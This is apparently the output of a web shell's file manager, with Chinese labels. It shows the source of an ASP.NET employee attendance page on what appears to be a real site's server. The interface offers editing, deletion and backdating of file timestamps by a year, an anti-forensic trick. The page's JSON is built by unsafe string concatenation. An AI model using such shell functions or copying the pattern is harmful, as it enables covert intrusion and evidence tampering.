文件操作 - MarkAttendance.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\howell.kimbly.in\wwwroot\MarkAttendance.aspx
编辑文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="MarkAttendance.aspx.cs" Inherits="HowellWebService.MarkAttendance" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> <link href="css/bootstrap.css" rel="stylesheet" /> <link href="css/bootstrap-responsive.css" rel="stylesheet" /> <script src="js/jquery.min.js"></script> <script src="js/jquery-ui.min.js"></script> <script src="js/bootstrap.min.js"></script> <script type="text/javascript"> function MarkAtten() { var x = document.getElementById("demo"); if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(showPosition); } else { x.innerHTML = "Geolocation is not supported by this browser."; } } function showPosition(position) { var LoggedInEmpID = sessionStorage.getItem("LoggedInEmpID"); document.getElementById('lblEmpID').innerHTML = LoggedInEmpID; var e = document.getElementById("DDLSite"); var site = e.options[e.selectedIndex].text; var x = document.getElementById("demo"); x.innerHTML = "Latitude: " + position.coords.latitude + "<br>Longitude: " + position.coords.longitude; $.ajax({ type: "POST", contentType: "application/json; charset=utf-8", url: "MarkAttendance.aspx/MarkAttn", data: "{'EmpID':'" + LoggedInEmpID + "','Longitude':'" + position.coords.longitude + "','Latitude':'" + position.coords.latitude + "','Site':'" + site + "'}", dataType: "json", success: function (data) { if (data.d != null) { alert(data.d); } }, error: function (XMLHttpRequest, textStatus, errorThrown) { console.log(XMLHttpRequest.responseText); } }); } </script> </head> <body> <h3>Mark Attendance</h3> <hr style="width:100%" /> <div style="width:100%"> <form id="form1" runat="server"> <div style="width:20%; float:left; padding:10px; margin-left:5px">EmpID</div> <div style="width:70%; float:left; padding:10px"><label id="lblEmpID"></label></div> <div style="width:20%; float:left; padding:10px; margin-left:5px">State</div> <div style="width:70%; float:left; padding:10px"> <asp:DropDownList ID="DDLState" runat="server" Height="25px" Width="255px" AutoPostBack="True" DataSourceID="SqlDataSource1" DataTextField="Name" DataValueField="Name" OnSelectedIndexChanged="DDLState_SelectedIndexChanged" CssClass="form-control"></asp:DropDownList> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" SelectCommand="SELECT [ID], [Name] FROM [States] ORDER BY [Name]"></asp:SqlDataSource> </div> <div style="width:20%; float:left; padding:10px; margin-left:5px">Site</div> <div style="width:70%; float:left; padding:10px"> <asp:DropDownList ID="DDLSite" runat="server" Height="24px" Width="252px" DataSourceID="SqlDataSource2" DataTextField="Name" DataValueField="Name" CssClass="form-control"></asp:DropDownList> <asp:SqlDataSource ID="SqlDataSource2" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" SelectCommand="SELECT [ID], [Name] FROM [Sites] WHERE ([State] = @State) ORDER BY [Name]"> <SelectParameters> <asp:ControlParameter ControlID="DDLState" Name="State" PropertyName="SelectedValue" Type="String" /> </SelectParameters> </asp:SqlDataSource> </div> </form> <div style="width:20%; float:left"><p id="demo"></p></div> <div style="width:70%; float:left; padding:10px"><button value="Mark" onclick="MarkAtten()" class="btn btn-success">Mark</button></div> </div> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件